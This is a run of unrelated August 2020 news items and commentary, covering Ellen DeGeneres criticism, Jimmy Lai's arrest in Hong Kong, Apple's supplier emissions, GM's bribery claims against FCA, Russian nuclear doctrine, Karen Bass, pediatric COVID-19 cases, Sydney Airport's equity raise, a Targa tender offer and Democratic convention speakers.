onset are just for show, body language experts now went back to some celebrity interviews and checked out whether there were signs of her being annoying, event to A-list guests. According to Metro UK, they found that some of these celebrities certainly did not feel right while on the show - no matter how Ellen DeGeneres made the mood lighter. In fact, the more Ellen makes jokes at their expense, the more lowkey annoyed they seem. The experts said one example is when Dakota Johnson confronted the host for skipping her birthday. Even if Ellen tried to make light of the accusation and Johnson herself made it appear so hard that she was just fake grouching, experts on body language claimed that Johnson was truly annoyed and uncomfortable. Another time is when Celine Dion had to defend the haircut of his son, without appearing angry. Moms would literally go into war for their sons, but because Dion is in-front on the personality whose forte is to make people laugh, Dion cannot take offense. In 2008, Mariah Carey was pressured into announcing she was pregnant when Ellen DeGeneres offered a glass of champagne. Again, this may be just another joke to please the audience, but experts could surmise that Carey did not like it. This is all but natural because women should have prerogative to talk about their pregnancy or not. But who is she to take offense at a comedian's joke and risk being called a spoilsport? There are more other cases, the experts shared. The point is, Ellen DeGeneres' personality and manner of questioning can be annoying, but for years, people just cannot see it. Sometimes, she can even act like a "questioning child that won't shut up." Because she was able to build her brand so strongly -of being kind, of being funny, and of being generous, celebrities who just want to promote their stuff won't find the need to openly grouch about her and risk getting the public angry at them. Now that the staff has spoken up, her image can already be described as permanently broken. The staff has more to lose than anyone if they speak but they still did. What can she do to redeem herself? An apology without direct owning up of one's errors is not likely to work. A very serious apology won't even erase the fact that she has duped many for at least 15 years. This is why Howard Stern now calls for her to change her image instead. It's time to accept that people would no longer think she's kind. Even if celebrities continue to defend her, they're hurting her reputation more, cementing the fact that she treats people differently based on privilege and status. Her show's ratings have dropped so scarily, it is now obvious that a miracle is needed for to recover. According to Page Six though, Porita De Rossi has revealed that her wife is doing fine, amid it all. Maybe she really just don't care. READ MORE: Ex-Producer Exposes Ellen DeGeneres: 'She Only Likes Famous People Hong Kong media tycoon Jimmy Lai has become the highest-profile person arrested under a new Chinese national security law, detained over suspected collusion with foreign forces as around 200 police searched the offices of his Apple Daily newspaper. Mainland-born Mr Lai (71), who was smuggled into Hong Kong on a fishing boat when he was a penniless 12-year-old, has been one of the most prominent democracy activists and an ardent critic of Beijing. His arrest comes amid Beijing's crackdown against pro-democracy opposition in the city and further stokes concerns about media and other freedoms promised to the former British colony when it returned to China in 1997. China imposed the sweeping new security law on Hong Kong on June 30, drawing condemnation from Western countries. The arrest "bears out the worst fears that Hong Kong's National Security Law would be used to suppress critical pro-democracy opinion and restrict press freedom", said Steven Butler, the Committee to Protect Journalists' Asia programme coordinator. Ryan Law, chief editor of Apple Daily, a staunch anti-government and pro-democracy tabloid that also does investigative work, said the paper would not intimidated. "Business as usual," he said. The security law punishes anything China considers subversion, secession, terrorism and collusion with foreign forces with up to life in prison. Critics say it crushes freedoms, while supporters say it will bring stability after prolonged pro-democracy protests last year. Mr Lai had been a frequent visitor to Washington, where he has met officials, including US Secretary of State Mike Pompeo, to rally support for Hong Kong democracy, prompting Beijing to label him a "traitor". Hong Kong police said they had arrested "at least" nine men, aged between 23 and 72, without naming them, adding further arrests were possible. Suspected offences included "collusion with a foreign country/external elements to endanger national security, conspiracy to defraud" and others, the police said. Apple Daily, which posted on its Facebook page a livestream of police officers roaming through its newsroom and rifling through files, reported Mr Lai had been taken from his home early yesterday. It showed staff being asked to show identity documents. Some executive offices were sealed off with red cordons. The police later wheeled in stacks of empty plastic containers. Mr Lai himself was brought back to the office later, initially in handcuffs. "We can't worry that much, we can only go with the flow," Mr Lai said before being escorted into a police vehicle. Around 200 officers entered the premises with a warrant. The law allows police to search premises without one "under exceptional circumstances", and also allows documents, equipment and financial assets to be seized. The search was finished by mid-afternoon, and police said they had collected 25 boxes of evidence. Apple Daily reported that one of Mr Lai's sons had also been arrested at his home and later showed his restaurant, Cafe Seasons, being raided. Shares in Mr Lai's media company Next Digital, which publishes Apple Daily, plunged 16.7pc before rebounding to trade 344pc higher as online pro-democracy forums called on investors to buy shares as a show of support. An Apple Daily source said that other senior executives in the company were among those targeted and they were hiring lawyers. "We see this as straight harassment," the source said, adding Mr Lai was arrested on suspicion of sedition, criminal fraud and colluding with foreign forces. Next Media Trade Union called the search "an extremely rare and serious incident in Hong Kong history", with a "catastrophic" impact. (Bloomberg) -- Apple Inc. has gone carbon neutral. But in order to say the same for its flagship iPhone, its going to need help from Taiwan. More than three-quarters of the emissions that come from making Apples ubiquitous products come from outside suppliers, according to the companys Environmental Progress Report. That includes Taiwanese electronics giants like TSMC and Foxconn, which still get about 90% of their power from non-renewable sources, according to company reports. Thats changing though. The firms are installing solar panels and buying power from offshore wind farms in line with Apples target of having all of its products be carbon-neutral by 2030. It underscores how climate pressure is increasingly coming not only from activists, but from within companys own supply chains. What Apple and other companies are trying to do is contribute to meeting Paris climate targets by decarbonizing their own footprints and making it a precondition for their partners and suppliers to use renewable energy, said Prakash Sharma, director for the energy transition practice at consultancy Wood Mackenzie Ltd. Its gaining momentum because more and more companies are moving in that direction. So far 71 of Apples hundreds of suppliers have committed to using only renewable energy, about 8 gigawatts worth, or more than the peak power demand for the entire nation of Singapore. Once completed, these commitments will avoid over 14.3 million metric tons of greenhouse gases annually the equivalent of taking more than 3 million cars off the road each year. Taiwanese companies make up an outsize proportion of Apples suppliers worldwide because of their dominance of sectors such as contract manufacturing and made-to-order semiconductors. Linchpins of Apples manufacturing machine include Taiwan Semiconductor Manufacturing Co., which exclusively makes cutting-edge chips for Apples iPhones and iPads in Taiwan, and Hon Hai Precision Industry Co., also known as Foxconn, which assembles more than 100 million iPhones annually. Both firms recently agreed to join the renewable energy drive. Story continues Wind and solar power can be as cheap as fossil fuels, but they dont produce at all hours of the day, so it isnt feasible for major factories to run directly on renewables alone. Improvements in battery technology might soon change that, but at the moment Apple isnt pushing its suppliers in that direction. Instead, Apple wants them to invest in enough renewable energy in their home region to cover their power use. That way even if a factory requires coal-fired electricity in the middle of the night, it will have invested in enough wind or solar to keep an equivalent amount of coal from being burned at other times. For Foxconn, that means installing solar panels on the roofs and of its campuses in places like Henan province in China, where coal is still the dominant source for power. The company had installed 224 megawatts of clean energy by the end of 2019, up from 33 in 2017. But it still has a long way to go, as solar power and renewable energy credits amounted to only about 10% of its power use last year, the company said in its sustainability report. TSMC, which used renewable energy and credits for 6.7% of its power in 2019, has committed to producing renewable energy for its entire operations by 2050. It signed a deal last month with Orsted A/S to buy all of the power from a 920-megawatt wind farm the Danish company is developing off the coast of Taiwan, in what is the worlds largest private renewable power deal. The deal means TSMC now actually has agreements to buy more clean energy than Apple, according to BloombergNEF. The companys efforts have been aided by a massive Taiwanese government plan to transform the countrys energy mix away from coal and nuclear and toward renewables and natural gas. The Orsted deal, for example, came after the wind-maker had established a major presence in the company thanks to several government-backed deals for offshore wind farms. Growing sustainability initiatives by major companies are definitely making a dent in their supply chains, said Jonathan Luan, a Beijing-based analyst with BloombergNEF. Some companies have been able to change market rules to achieve their goals, like in Taiwan. For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. The teachers' unions might want to re-think their opposition to re-opening schools, given the priority some of them place on ideological indoctrination that can't withstand the scrutiny of parents. Hank Berrien of The Daily Wire spotted a Twitter thread (now taken down, of course) in which public school teachers fretted over the possibility of parents finding out how their own children were being proselytized into radical doctrines on race and sexuality. School, AKA indoctrination center. On Saturday, a teacher posted a thread on Twitter in which he bemoaned the possibility that parents who had access to watching their children's virtual classrooms would do damage to "honest conversations about gender/sexuality" that teachers would have with students. The teacher, Matthew R. Kay, who was a founding teacher at Science Leadership Academy (SLA), a partnership high school between the School District of Philadelphia and The Franklin Institute, and authored the book, Not Light, But Fire: How to Lead Meaningful Race Conversations in the Classroom, wrote: So, this fall, virtual class discussions will have many potential spectators parents, siblings, etc. in the same room. We'll never be quite sure who is overhearing the discourse. What does this do for our equity/inclusion work? How much have students depended on the (somewhat) secure barriers of our physical classrooms to encourage vulnerability? How many of us have installed some version of "what happens here stays here" to help this? While conversations about race are in my wheelhouse, and remain a concern in this no-walls environment I am most intrigued by the damage that "helicopter/snowplow" parents can do in honest conversations about gender/sexuality And while "conservative" parents are my chief concern I know that the damage can come from the left too. If we are engaged in the messy work of destabilizing a kids racism or homophobia or transphobia how much do we want their classmates' parents piling on? A Twitter account titled "Low and Slow" captured and highlighted some of the tweets: Why shouldn't parents hear your "discourse". @MattRKay is hiding comments, he will not be able to hide this one. Parents pay attention to what your kids are being taught. pic.twitter.com/FeMO4m8XlX Low&Slow (@ClaudesBBQ) August 9, 2020 Hank's colleague Matt Walsh of The Daily Wire also mined the thread for revealing insights into the attitudes of teachers who see their job as changing the values of students away from their parents' preferences and toward the radical left, as well as those who are not on board with the brainwashing express: It's important to note that while some teachers responded to Kay's comments with the appropriate level of horror and disgust, many others chimed in to share their own strategies for brainwashing during a pandemic. One teacher said she'd also been "thinking about" the problem Kay described, and had decided that she'd ask students about their preferred pronouns via survey though she still worries that "caregivers" might see it and learn something about their children that they weren't supposed to know. Another teacher said that students last semester would sometimes "type secrets into the chat" whenever the discussion turned to "anti-racism and gender inclusive content." Another complained that a white parent she made sure to specify "white" in her district recorded a Zoom class and "filed a complaint against the teacher for an anti-racist read aloud (saying the teacher's commentary was inappropriate and biased)." This, the teacher says, "is going to be an issue." A ninth grade teacher shared in the commiseration, saying that her class required students to "read and respond to a news article," but that participation in this exercise is stunted now because "outsiders" are "listening." The "outsiders," to be clear, are the children's parents. A teacher with pronouns listed in her Twitter handle said that she plans to use the chat function more than voice lectures because she wants children to share "information" with her in a "parentless way." A science teacher agreed with all of the sentiments expressed here and summarized it bluntly: "Parents are dangerous." And these are just the comments that were captured in screenshots before the tweets were all made private. Presumably, there is more where this came from. A lot more. Teachers in government-run schools are public employees, obviously, and parents have a right to know how their children are being taught, using their tax dollars. If the views of the teacher can't withstand parental scrutiny, then the teacher should either stop or be removed from the classroom. I realize that some states forbid the recording of classroom activities, but I believe that this is mistaken. In my book, all classroom dialogue ought to be placed online so that parents and other taxpayers can monitor how public employees are performing their public duties. Covert indoctrination of children is an abomination. Let the sun shine! Photo via https://www.goodfreephotos.com. DETROIT Fiat Chrysler Automobiles is denying allegations by General Motors that FCA used foreign bank accounts to bribe union officials so they would stick GM with higher labor costs. In court papers filed Monday, the Italian-American automaker called GMs claims defamatory and baseless. GM alleged in a court filing last week that FCA spent millions on bribes by stashing the money in foreign accounts. The allegations of new evidence were made in a motion asking a federal judge to reconsider his July dismissal of a federal lawsuit against Fiat Chrysler. GM alleged that bribes were paid to two former United Auto Workers presidents, as well as a former union vice president and at least one former GM employee. In its response, Fiat Chrysler said GM has to know that the prospect of getting the judge to overturn the dismissal is slim to none. So this motion is apparently a vehicle to make more defamatory and baseless accusations about a competitor that is winning in the marketplace. FCA wrote that GMs motion reads like a script from a third-rate spy movie, full of preposterous allegations. GM alleged that FCA paid two moles to infiltrate GM and funnel inside information to FCA, the automaker said. GMs allegation that foreign accounts were used is not true, FCA said. That GM has extended its attacks to individual FCA officers and employees, making wild allegations against them without a shred of factual support, is despicable, FCA lawyers wrote. GM alleged that bribes were paid to former United Auto Workers Presidents Dennis Williams and Ron Gettelfinger, as well as Vice President Joe Ashton. It also alleges money was paid to GM employees including Al Iacobelli, a former FCA labor negotiator who was hired and later released by GM. GM alleges that payments were made so the officials would saddle GM with more than $1 billion in additional labor costs. Gettelfinger, whose name had not come up previously in a wide-ranging federal probe of UAW corruption, vehemently denied the allegations in a statement and said he had no foreign accounts. Williams California home was raided by federal agents but he has not been charged. Iacobelli, who is awaiting sentencing in the probe, also denied the claims. In July, U.S. District Judge Paul Borman in Detroit tossed out GMs lawsuit that alleged that Fiat Chrysler paid off union leaders to get better contract terms than GM. He wrote that GMs alleged injuries were not caused by FCA violating federal racketeering laws, that GM had not stated a claim that can be granted, and that the people harmed by the bribery scheme were Fiat Chrysler workers. On Monday, Borman issued an order saying that FCA had to file its response by the end of the day and saying that he didnt want anything else from GM. GMs motion contended that payments were made to accounts in places like Switzerland, Luxembourg, Italy, Singapore and the Cayman Islands. The accounts were set up to avoid detection in the federal criminal probe,, according to the motion. The accounts were discovered recently by private investigators working on GMs behalf, according to court records. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Russia warns it will see any incoming missile as nuclear By Vladimir Isachenkov August 10, 2020 " Information Clearing House " - MOSCOW Russia will perceive any ballistic missile launched at its territory as a nuclear attack that warrants a nuclear retaliation, the military warned in an article published Friday. The harsh warning in the official military newspaper Krasnaya Zvezda (Red Star) is directed at the United States, which has worked to develop long-range non-nuclear weapons. The article follows the publication in June of Russias nuclear deterrent policy that envisages the use of atomic weapons in response to what could be a conventional strike targeting the nations critical government and military infrastructure. In the Krasnaya Zvezda article, senior officers of the Russian militarys General Staff, Maj. Gen. Andrei Sterlin and Col. Alexander Khryapin, noted that there will be no way to determine if an incoming ballistic missile is fitted with a nuclear or a conventional warhead, and so the military will see it as a nuclear attack. Any attacking missile will be perceived as carrying a nuclear warhead, the article said. The information about the missile launch will be automatically relayed to the Russian military-political leadership, which will determine the scope of retaliatory action by nuclear forces depending on the evolving situation. No Advertising - No Government Grants - This Is Independent Media Get Our Free Newsletter In line with Russian military doctrine, the new nuclear deterrent policy reaffirmed that the country could use nuclear weapons in response to a nuclear attack or an aggression involving conventional weapons that threatens the very existence of the state. The policy document offered a detailed description of situations that could trigger the use of nuclear weapons, including the use of nuclear weapons or other weapons of mass destruction against Russia or its allies. In addition to that, the document states for the first time that Russia could use its nuclear arsenal if it receives reliable information about the launch of ballistic missiles targeting its territory or its allies and also in the case of enemy impact on critically important government or military facilities of the Russian Federation, the incapacitation of which could result in the failure of retaliatory action of nuclear forces. U.S.-Russia relations are at post-Cold War lows over the Ukrainian crisis, the accusations of Russian meddling in the U.S. 2016 presidential election and other differences. Russian officials have cast the U.S.-led missile defense program and its plans to put weapons in orbit as a top threat, arguing that the new capability could tempt Washington to strike Russia with impunity in the hope of fending off a retaliatory strike. The Krasnaya Zvezda article emphasized that the publication of the new nuclear deterrent policy was intended to unambiguously explain what Russia sees as aggression. Russia has designated the red lines that we dont advise anyone to cross, it said. If a potential adversary dares to do that, the answer will undoubtedly be devastating. The specifics of retaliatory action, such as where, when and how much will be determined by Russias military-political leadership depending on the situation. As one of the lesser known names under consideration, Karen Bass's selection as Joe Biden's running mate would certainly be a surprise. And while she is widely seen as a hardworking and bipartisan politician, her past comments on Cuba could cause problems in the key swing state of Florida. The California representative, 66, has served as the chairwoman of the Congressional Black Caucus since January 2019, and previously held the position of state assembly speaker before becoming a five-term congresswoman. Although she lacks the name recognition of other potential vice president picks for Mr Biden such as Senator Kamala Harris and former National Security Adviser Susan Rice her decorated experience as a veteran in Congress and low profile in the media boosted her up. Interest in politics started for Ms Bass at the young age of 14 when she would knock door-to-door in her Los Angeles neighbourhood in 1968 to convince neighbours to vote for Robert F Kennedy for president. The presidential candidate was later assassinated, and Ms Bass found herself again mourning a prominent leader after the deaths of Martin Luther King Jr and Malcom X. Recommended Biden VP contender Karen Bass defends remarks praising Scientology "I realised it's not about a single individual leading the charge," she said in a recent interview. "The assassinations I saw growing up taught me that every time you had a major leader lost, things fell apart." These murders didn't turn her away from public office, however. Ms Bass' career first started as a physician's assistant with a degree in health sciences. Then in 1990, in response to the inner city problems grappling America, specifically crack cocaine and gang violence in Los Angeles, she founded the Community Coalition. Her work as the founder of the coalition helped address the drug and violence epidemic in Los Angeles while also inspiring community members to become more engaged. When she was picked as California's state assembly speaker, she became the first black woman in the US to lead a state legislature. She then moved to national politics by becoming a representative for California. During her five terms in Congress, her legislative platform has stayed true to her passion of addressing problems that plague low-income Black and brown neighbourhoods such as inadequate healthcare, a lack of job opportunities, and overcrowded foster care systems. In response to the current racial climate in the US, Ms Bass co-authored the George Floyd Justice in Policing Act, which would ban chokeholds and establish a national police misconduct database. Her act passed the Democratic-led House but has yet to go through the Republican-controlled Senate. Although Ms Bass' reputation remains rather clean-cut within the media, she has had to answer questions over her past experiences with Cuba. In the 1970s, the future congresswoman worked in construction in Cuba with the Venceremos Brigade, a pro-Cuban group that organised annual trips to the country for young, liberal-leaning Americans. At the time Ms Bass went, Fidel Castro was in power. Republicans have accused Ms Bass of being fixated on the Castro regime, but she's previously told The Atlantic she went to Cuba as a "young black activist who was deeply concerned about what the activists are raising today: systemic racism." The reason Ms Bass' relationship with Cuba could be a problem is because of Florida, a swing state for the election. The state is home to many anti-Castro Cubans, which could all turn the electoral votes from Florida towards Mr Trump instead. She renounced Mr Castro following his death in 2016, claiming she had no clue how much the dictator was despised by his own people. Ms Bass' relationship with Cuba has also called into question the politician's opinion of communist and socialist regimes. She spoke at a 1988 forum sponsored by the Democratic Socialists of America and the 1993 West Coast Socialist Scholars Conference at the University of California. "I'm not a socialist. I'm not a communist. I've belonged to one party my entire life and that's the Democratic Party and I'm a Christian," Ms Bass recently told NBC News when addressing rumours of her political allegiance. Another point of criticism in recent months was past events Ms Bass attended relating to the Church of Scientology, which was founded in her state of California. A video surfaced in recent weeks of Ms Bass attending the opening of the church in Los Angeles a decade ago. When addressing the video, Ms Bass said she attended to find an "area of agreement" with the church. Since then, the church has faced accusations from defectors of participating in intimidation, human trafficking, and abuse of members, all of which it has denied. Ms Bass has one daughter and four stepchildren with her ex-husband, Jesus Lechuga, whom she was married to from 1980 to 1986. The Biden campaign might see Ms Bass' bipartisan appeal and experience with social justice causes like police reform as enough to combat criticism for her past involvement in Cuba and not being a household name in the political arena. Amid ongoing debates about K-12 students returning to the classroom, a surge in COVID-19 cases has been reported among children and teenagers. The American Academy of Pediatrics and Childrens Hospital Association conducted a review of testing data for coronavirus during the last two weeks of July and found at least 97,000 children tested positive for the virus. This figure represents a 40% increase in the nations total number of COVID-19 cases among children. The review looked at data from 49 states, New York City, Washington D.C., Puerto Rico and Guam. As of mid-April, 2% of confirmed positive tests were reported in children. By July 3, that percentage rose to 8.8. In reviewing state-by-state data, Alabama had the highest percentage of students testing positive. The state - which includes infants to 24 years olds in its data to include the majority of college students - reported 18,027 new cases of COVID-19 among young people, which makes up just over 22% of all cases in the state. In Massachusetts, testing figures include infants to 19 year olds. Just under 7,000 confirmed positive cases have been recorded by state health officials, which makes up just under 6% of total cases, as of late July. The report was released as education officials grapple with how to best educate children during the 2020-2021 school year. Massachusetts school districts must submit their final fall reopening plans to state education officials by Friday after the deadline was pushed back by four days. Some school districts have already announced plans for the fall. Springfield Public Schools and Worcester Public Schools - two of the largest school districts in Massachusetts - will reopen remotely. Of course, we want to get our children back in schools as soon as possible, but our decision must be based not only on educational aspects, but also public health, medical aspects and the science of COVID-19, Springfield Mayor Domenic Sarno said. Schools in Springfield may transition to a hybrid model after the first marking period. A hybrid model developed by district officials proposes assigning the majority of students into two groups: one to attend class in person Mondays and Tuesdays, and the second group to attend class Thursdays and Fridays. Days out of the classroom, students would learn remotely. In Worcester, school will start remotely for the first 10 weeks. Then the district intends to shift to a hybrid learning model. In Boston, the district released models last week that included a hybrid plan as well as a model that was fully remote. Boston education officials said they have yet to make a final decision on which model they will choose, but that a full return to in-person classroom learning is impossible given the necessary social distancing protocols for reopening. Boston Public Schools is the largest school district in Massachusetts, with more than 50,000 students enrolled in grades pre-kindergarten through 12th grade last year across more than 100 schools. Remote learning for school-aged children this fall will look significantly different from remote learning offered by Massachusetts school districts this past spring. As part of ensuring students are engaged, attendance will be taken daily for in-person and remote classrooms. For remote schooling, attendance may be traced by students submitting assignments online, logging onto online learning platforms or attending virtual check-ins. Parents and guardians are responsible for ensuring their child attends daily for both in-person and remote learning. Grades are back, as is state testing. While many schools transitioned away from offering a letter grade this past spring, student performance will be graded across in-person, hybrid and remote learning. State education officials urge schools to consider exemptions for students experiencing extreme circumstances - such as family members severely ill due to COVID-19 - and ensure they receive additional supports. Related Content: By PTI UNNAO: BJP MP Sakshi Maharaj has given a written complaint to the police claiming that he has received calls from a Pakistani number threatening to kill him in a bomb blast. In the complaint to inspector in-charge of Sadar Kotwali, Dinesh Chandra Mishra, the MP from Unnao said that he got two phone calls from some terrorist organisation of Pakistan threatening to blow him up along with his residence. According to the letter, the caller claimed that Kashmir would soon become a part of Pakistan and he also used foul language for the Ram Temple groundbreaking ceremony at Ayodhya. The caller said that he and his mujahideens were keeping an eye on him round the clock, the MP said in the letter, adding that he also abused Prime Minister Narendra Modi, Union Home Minister Amit Shah, RSS chief Mohan Bhagwat and Uttar Pradesh Chief Minister Yogi Adityanath. The MP has demanded that imemdiate steps be taken to save his life and property. Acting on the complaint, Superintendent of Police Rohan P Kanay directed circle officer Yadvendra Yadav and Kotwali in-charge to probe the matter and take help of surveillance teams. The SP said that a report has been registered. The MP has Y category security and police is also deployed at his residence but the security would be reviewed in the light of of the threat call, the SP added. By Jamie Freed and Shriya Ramakrishnan SYDNEY/BENGALURU (Reuters) - Sydney Airport Holdings Pty Ltd said on Tuesday it would raise A$2 billion ($1.43 billion) of equity to lower its debt levels after swinging to a half-year loss, as the COVID-19 pandemic continues to hammer travel. In May, the operator of Australia's biggest airport said https://www.asx.com.au/asxpdf/20200522/pdf/44j0yzp7g667r4.pdf it did not foresee the need to raise equity, but that was before COVID-19 cases surged in the city of Melbourne, prompting border closures between states and further hurting travel and business. "The outlook is very uncertain," Chief Executive Officer Geoff Culbert told analysts after the airport reported a net loss of A$53.6 million for the six months ended June 30, compared with a profit of A$17.3 million last year. "What we are witnessing today is the most stringent restrictions on the movement of people since the second world war, and in the domestic context possibly the most stringent movement restrictions in Australia's history," Culbert said. Domestic passenger numbers in August so far are down 94.2% from a year ago, worse than the 88.2% fall in July due to additional state border closures, while international traffic in August to date is down 96.8%, Sydney Airport said. Freight-only flights represent 70% of take-offs and landings, compared to 2% before the pandemic, Culbert said. A staff job guarantee for its 500 employees will not be extended beyond Sept. 30 and a review is underway that could result in job losses, he added. Sydney Airport said its net debt position would reduce from A$9.1 billion to A$7.1 billion as at June 30 after the fund raising and it did not expect to pay a shareholder distribution in 2020. "We think this provides ample liquidity to remove doubts on liquidity even in an uncertain recovery," RBC Capital Markets analyst James Nevin said in a note. ($1 = 1.3988 Australian dollars) ($1 = 1.5175 New Zealand dollars) (Reporting by Jamie Freed in Sydney and Shriya Ramakrishnan in Bengaluru; Editing by Devika Syamnath and Rashmi Aich) HOUSTON, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Targa Resources Partners LP (Targa Resources Partners or the Partnership), a subsidiary of Targa Resources Corp. (NYSE:TRGP) announced today that it has commenced a cash tender offer (the Tender Offer) to purchase any and all of the outstanding senior notes listed in the following table upon the terms and conditions described in the Partnerships Offer to Purchase dated August 11, 2020 (the Offer to Purchase). Issuer(1) Title of Security CUSIP Number Principal Amount Outstanding Purchase Price per $1,000 of Notes Targa Resources Partners LP 6.750% Senior Notes due 2024 87612BAY8 $580,120,000 $1,020.70 ____________________ (1) Targa Resources Partners Finance Corporation, a wholly owned subsidiary of the Partnership, is a co-issuer of these securities. Holders whose notes are purchased will also receive accrued and unpaid interest thereon from the last interest payment date up to, but not including, the initial settlement date. The Tender Offer is being made pursuant to the terms and conditions contained in the Offer to Purchase, Letter of Transmittal and Notice of Guaranteed Delivery, copies of which may be obtained from D.F. King & Co., Inc., the tender agent and information agent for the Tender Offer, by calling (800) 820-2415 (toll free) or, for banks and brokers, (212) 269-5550. Copies of the Offer to Purchase, Letter of Transmittal and Notice of Guaranteed Delivery are also available at the following web address: http://www.dfking.com/targa . The Tender Offer will expire at 5:00 p.m. New York City Time on August 17, 2020, unless extended or earlier terminated (such time and date as the same may be extended, the Expiration Time). Tendered notes may be withdrawn at any time before the Expiration Time. Holders of notes must validly tender and not validly withdraw their notes (or comply with the procedures for guaranteed delivery) before the Expiration Time to be eligible to receive the consideration for their notes. Settlement for notes tendered prior to the Expiration Time and accepted for purchase will occur promptly after the Expiration Time, which is expected to be August 18, 2020, assuming that the Tender Offer is not extended or earlier terminated. The settlement date for any notes tendered pursuant to a Notice of Guaranteed Delivery is expected to be on August 20, 2020, subject to the same assumption. The Tender Offer is conditioned upon the satisfaction of certain conditions, including the completion of a contemporaneous notes offering by the Partnership on terms and conditions (including, but not limited to, the amount of proceeds raised in such offering) satisfactory to the Partnership. The Tender Offer is not conditioned upon any minimum amount of notes being tendered. The Tender Offer may be amended, extended, terminated or withdrawn. Concurrently with the launch of the Tender Offer, the Partnership is exercising its right to redeem any of the notes not validly tendered and purchased in the Tender Offer, pursuant to the terms of the indenture governing such notes. Targa has retained Wells Fargo Securities, LLC to serve as the exclusive Dealer Manager for the Tender Offer. Questions regarding the terms of the Tender Offer may be directed to Wells Fargo Securities, LLC at (toll free) (866) 309-6316 or (collect) (704) 410-4756. This press release is neither an offer to purchase nor a solicitation of an offer to sell any notes in the Tender Offer. In addition, this press release is not an offer to sell or the solicitation of an offer to buy any securities issued in connection with any contemporaneous notes offering, nor shall there be any sale of the securities issued in such offering in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. About Targa Resources Partners LP Targa Resources Partners LP is a Delaware limited partnership formed in October 2006 by its parent, Targa Resources Corp. (TRC or the Company), to own, operate, acquire and develop a diversified portfolio of complementary midstream energy assets. On February 17, 2016 TRC completed the acquisition of all outstanding common units of the Partnership. Targa Resources Corp. is a leading provider of midstream services and is one of the largest independent midstream energy companies in North America. The Company owns, operates, acquires and develops a diversified portfolio of complementary midstream energy assets. The Company is primarily engaged in the business of: gathering, compressing, treating, processing, transporting and selling natural gas; transporting, storing, fractionating, treating and selling NGLs and NGL products, including services to LPG exporters; and gathering, storing, terminaling and selling crude oil. The principal executive offices of Targa Resources Partners LP are located at 811 Louisiana, Suite 2100, Houston, TX 77002 and their telephone number is 713-584-1000. Forward-Looking Statements Certain statements in this release are "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements, other than statements of historical facts, included in this release that address activities, events or developments that the Partnership expects, believes or anticipates will or may occur in the future, are forward-looking statements. These forward-looking statements rely on a number of assumptions concerning future events and are subject to a number of uncertainties, factors and risks, many of which are outside the Partnerships control, which could cause results to differ materially from those expected by management of the Partnership. Such risks and uncertainties include, but are not limited to, weather, political, economic and market conditions, including a decline in the price and market demand for natural gas, natural gas liquids and crude oil, the impact of pandemics such as COVID-19, actions by the Organization of the Petroleum Exporting Countries (OPEC) and non-OPEC oil producing countries, the timing and success of business development efforts; and other uncertainties. These and other applicable uncertainties, factors and risks are described more fully in the Partnership's filings with the Securities and Exchange Commission, including its Annual Reports on Form 10-K, Quarterly Reports on Form 10-Q and Current Reports on Form 8-K. The Partnership does not undertake an obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise. Contact the Company's investor relations department by email at InvestorRelations@targaresources.com or by phone at (713) 584-1133. Sanjay Lad Vice President Finance & Investor Relations Jennifer Kneale Chief Financial Officer Former US president Barack Obama and his wife Michelle will deliver keynote speeches during next week's Democratic National Convention when Joe Biden will be confirmed as the party's White House challenger in the November election. The Democratic Party announced Tuesday that Obama will give a primetime address next Wednesday, the convention's penultimate evening, while former first lady Michelle Obama will address the convention on Monday, opening night. The schedule details were released amid mounting anticipation over who Biden will choose as his running mate. The 77-year-old Democratic veteran is expected to reveal his vice presidential pick this week, and he has pledged to choose a woman. Biden served for eight years as Obama's vice president and will formally accept the Democratic nomination on the four-day convention's final day, August 20. "Joe Biden will speak about his vision for uniting America to move us forward out of constant chaos and crisis, and for delivering on that promise for all," the party said in a statement. Obama remains one of America's most popular politicians. He has campaigned virtually with Biden in recent months and has helped him raise millions of dollars in campaign cash. The convention had been set for Milwaukee, in the battleground state of Wisconsin. But the coronavirus pandemic has upended the plans of both parties, forcing them to convert the normally raucous in-person events into online affairs driven by video presentations and appearances. The sudden shakeup has caused logistical challenges for both campaigns, but especially for Democrats who were hoping to use a boisterous, crowded live event as a launchpad for Biden's final sprint to the election on November 3. Democrats have revealed what they hope will be an inspiring lineup of speakers, including standard-bearers of the progressive left like first-term congresswoman Alexandria Ocasio-Cortez. Story continues Senator Bernie Sanders, a two-time presidential hopeful whose liberal policies like universal health care and free college have pushed Biden leftward, has been given a Monday speaking slot, along with New York Governor Andrew Cuomo. - Primetime slot for Harris - The speaker's list includes many everyday Americans like emergency responders, teachers and factory workers. But it is also a who's who of the party's elite, including several senators who challenged Biden for the nomination: Elizabeth Warren, Amy Klobuchar, Cory Booker and Kamala Harris. Harris is widely considered a top potential running mate pick, and her slot on the convention schedule -- apparently the last speaker before the Bidens on the final night -- has fueled speculation about whether the 55-year-old black woman from California has earned the VP nod. Three other women seen as potential vice presidential picks, Michigan Governor Meghan Whitmer, Senator Tammy Duckworth of Illinois and Warren of Massachusetts, are also on the schedule, while former national security advisor Susan Rice is not. The Clintons -- 2016 nominee Hillary Clinton and her president husband Bill -- are set to speak too. Also scheduled to address the Democrats is Ohio's former governor John Kasich, a Republican who has remained a steadfast opponent to President Donald Trump and will endorse Biden. Trump had been adamant about delivering his own nomination acceptance speech at a crowded event in Jacksonville, Florida but he too has acknowledged he will have to deliver his remarks remotely. mlm/ft Oil prices rose early on Tuesday as equity markets rallied on hopes that the U.S. is close to announcing another stimulus package to support the economy in response to the pandemic-driven slump. As of 10:13 a.m. EDT on Tuesday, WTI Crude was up 1.17 percent at $42.47 and Brent Crude was rising 0.73 percent to $45.34. Analysts believe that if Congress soon reaches some kind of a deal on a stimulus package, it would boost oil prices in the short term. On Monday, U.S. President Donald Trump said that his administration is looking very seriously at a capital gains tax cut in the hope of creating jobs, as well as an income tax cut for middle-income families. Apart from hopes of stimulus to bolster the worlds largest economy, oil prices rose on hopes that demand recovery, at least in Asia, continues. Over the weekend, Amin Nasser, chief executive at the worlds biggest oil-producing and oil-exporting company, state oil giant Saudi Aramco, said that the company was optimistic about the pace of oil demand recovery in Asia. Demand for crude oil in Asia has almost 